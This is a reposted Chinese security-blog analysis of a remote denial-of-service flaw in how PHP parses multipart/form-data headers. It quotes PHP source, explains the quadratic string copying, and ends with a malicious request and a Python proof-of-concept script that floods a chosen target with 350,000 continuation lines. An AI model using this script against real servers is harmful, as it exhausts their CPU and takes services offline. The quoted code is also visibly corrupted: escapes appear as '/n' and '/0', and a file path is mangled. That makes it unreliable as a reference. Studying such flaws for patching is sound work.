PHP multipartformdata 远程DOS漏洞

admin 2019年5月8日14:13:24评论289 views字数 6287阅读20分57秒阅读模式
摘要

作者:LiuShusheng_0_PHP解析multipart/form-datahttp请求的body part请求头时,重复拷贝字符串导致DOS。远程攻击者通过发送恶意构造的multipart/form-data请求,导致服务器CPU资源被耗尽,从而远程DOS服务器。

PHP multipart/form-data 远程DOS漏洞

作者:LiuShusheng_0_

0x00 摘要


PHP解析multipart/form-datahttp请求的body part请求头时,重复拷贝字符串导致DOS。远程攻击者通过发送恶意构造的multipart/form-data请求,导致服务器CPU资源被耗尽,从而远程DOS服务器。

影响范围:

PHP所有版本 

0x01 漏洞入口


PHP源码中main/ rfc1867.c负责解析multipart/form-data协议,DOS漏洞出现在main/rfc46675pxultipart_buffer_headers函数。

在详细分析漏洞函数前,先分析进入漏洞函数的路径。PHP解析multipart/form-datahttp请求体的入口函数在SAPI_POST_HANDLER_FUNC(rfc1867.c中的函数),代码如下。

/* Get the boundary */ boundary= strstr(content_type_dup, "boundary");  if(!boundary) {      intcontent_type_len = strlen(content_type_dup);      char*content_type_lcase = estrndup(content_type_dup, content_type_len);       php_strtolower(content_type_lcase,content_type_len);      boundary= strstr(content_type_lcase, "boundary");      if(boundary) {              boundary= content_type_dup + (boundary - content_type_lcase);      }      efree(content_type_lcase);   }   if(!boundary || !(boundary = strchr(boundary, '='))) {        sapi_module.sapi_error(E_WARNING,"Missing boundary in multipart/form-data POST data");        return;    }    boundary++;    boundary_len= strlen(boundary);    …    …    while(!multipart_buffer_eof(mbuff TSRMLS_CC))    {                    charbuff[FILLUNIT];                    char*cd = NULL, *param = NULL, *filename = NULL, *tmp = NULL;                    size_tblen = 0, wlen = 0;                    off_toffset;                     zend_llist_clean(&header);                     if(!multipart_buffer_headers(mbuff, &header TSRMLS_CC)) {                             gotofileupload_done;                    } 

SAPI_POST_HANDLER_FUNC函数首先解析请求的boundary,

0x02 漏洞函数multipart_buffer_headers执行逻辑


进入漏洞函数,本段先分析漏洞函数的执行逻辑,下一段根据函数执行逻辑详细分析漏洞的原理。multipart_buffer_headers函数源码如下:

/* parse headers */ static intmultipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC) {          char*line;          mime_header_entryprev_entry = {0}, entry;          intprev_len, cur_len;           /*didn't find boundary, abort */          if(!find_boundary(self, self->boundary TSRMLS_CC)) {                    return0;          }           /*get lines of text, or CRLF_CRLF */           while((line = get_line(self TSRMLS_CC)) && line[0] != '/0' )          {                    /*add header to table */                    char*key = line;                    char*value = NULL;                     if(php_rfc1867_encoding_translation(TSRMLS_C)) {                             self->input_encoding= zend_multibyte_encoding_detector(line, strlen(line), self->detect_order,self->detect_order_size TSRMLS_CC);                    }                     /*space in the beginning means same header */                    if(!isspace(line[0])) {                             value= strchr(line, ':');                    }                     if(value) {                             *value= 0;                             do{ value++; } while(isspace(*value));                              entry.value= estrdup(value);                             entry.key= estrdup(key);                     }else if (zend_llist_count(header)) { /* If no ':' on the line, add to previousline */                              prev_len= strlen(prev_entry.value);                             cur_len= strlen(line);                              entry.value= emalloc(prev_len + cur_len + 1);                             memcpy(entry.value,prev_entry.value, prev_len);                             memcpy(entry.value+ prev_len, line, cur_len);                             entry.value[cur_len+ prev_len] = '/0';                              entry.key= estrdup(prev_entry.key);                              zend_llist_remove_tail(header);                    }else {                             continue;                    }                     zend_llist_add_element(header,&entry);                    prev_entry= entry;          }           return1; } 

multipart_buffer_headers函数首先找boundary,如果找到boundary就执行以下代码,逐行读取请求的输入以解析body port header:

while((line = get_line(self TSRMLS_CC)) && line[0] != '/0' ) { … } 

当使用get_line读入一行字符,如果该行第一个字符line[0]不是空白字符, 查找line是否存在':'。

如果line存在字符':'

value指向':'所在的内存地址。这时if(value)条件成立,成功解析到(header,value)对entry。调用zend_llist_add_element(header, &entry)存储,并使用prev_entry记录当前解析到的header,用于解析下一行。

否则,line不存在字符':'

认为这一行的内容是上一行解析到header对应value的值,因此进行合并。合并操作执行以下代码。

prev_len= strlen(prev_entry.value); cur_len= strlen(line);  entry.value= emalloc(prev_len + cur_len + 1); //为合并value重新分片内存 memcpy(entry.value,prev_entry.value, prev_len); //拷贝上一行解析到header对应value memcpy(entry.value+ prev_len, line, cur_len);   //把当前行作为上一行解析到header的value值,并拷贝到上一行value值得后面。 entry.value[cur_len+ prev_len] = '/0';  entry.key= estrdup(prev_entry.key);  zend_llist_remove_tail(header); 

首先,为了合并value重新分配内存,接着拷贝上一行解析到的value值到新分配的内容,然后把当前行的字符串作为上一行解析到header的value值,并拷贝到value值得后面。最后调用zend_llist_remove_tail(header)删除上一行的记录。执行完后获得了新的entry,调用zend_llist_add_element(header,&entry)记录得到的header名值对(header,value)。

0x03 漏洞原理


multipart_buffer_headers函数解析header对应value时,value值存在n行。每行的字符串以空白符开头或不存字符':',都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块。该代码块进行1次内存分配,2次内存拷贝,1次内存释放。当value值越来越长,将消耗大量的cpu时间。如果以拷贝一个字节为时间复杂度单位,value的长度为m,时间复杂度为m*m.

prev_len= strlen(prev_entry.value);      cur_len= strlen(line);       entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存      memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝      memcpy(entry.value+ prev_len, line, cur_len);   //1次拷贝      entry.value[cur_len+ prev_len] = '/0';       entry.key= estrdup(prev_entry.key);       zend_llist_remove_tail(header);//1次内存释放 

0x04 利用


构造像以下恶意的http请求,当存在350000行a/n时,在我的测试环境中,一个http请求将消耗10s的cpu时间。每隔若干秒,同时并发多个请求,将导致server端cpu资源长期耗尽,从而到达DOS。总的来说,利用方式和Hash Collision DOS一样。

------WebKitFormBoundarypE33TmSNWwsMphqz Content-Disposition:form-data; name="file"; filename="s a a a    a" Content-Type:application/octet-stream  why is it? ------WebKitFormBoundarypE33TmSNWwsMphqz 

0x05 POC


''' Author: Shusheng Liu,The Department of Security Cloud, Baidu email: [email protected] ''' import sys import urllib,urllib2 import datetime from optparse import OptionParser  def http_proxy(proxy_url):      proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})     null_proxy_handler = urllib2.ProxyHandler({})     opener = urllib2.build_opener(proxy_handler)     urllib2.install_opener(opener) #end http_proxy   def check_php_multipartform_dos(url,post_body,headers):     req = urllib2.Request(url)     for key in headers.keys():         req.add_header(key,headers[key])     starttime = datetime.datetime.now();     fd = urllib2.urlopen(req,post_body)     html = fd.read()     endtime = datetime.datetime.now()     usetime=(endtime - starttime).seconds     if(usetime > 5):         result = url+" is vulnerable";     else:         if(usetime > 3):             result = "need to check normal respond time"     return [result,usetime] #end   def main():     #http_proxy("http://127.0.0.1:8089")     parser = OptionParser()     parser.add_option("-t", "--target", action="store",                    dest="target",                    default=False,            type="string",                   help="test target")     (options, args) = parser.parse_args()     if(options.target):     target = options.target     else:     return;      Num=350000     headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',             'Accept-Encoding':'gzip, deflate',             'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}     body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1/nContent-Disposition: form-data; name=/"file/"; filename=sp.jpg"     payload=""     for i in range(0,Num):         payload = payload + "a/n"     body = body + payload;     body = body + "Content-Type: application/octet-stream/r/n/r/ndatadata/r/n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"     print "starting...";     respond=check_php_multipartform_dos(target,body,headers)     print "Result : "     print respond[0]     print "Respond time : "+str(respond[1]) + " seconds";  if __name__=="__main__":     main() 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2019年5月8日14:13:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP multipartformdata 远程DOS漏洞https://cn-sec.com/archives/64029.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息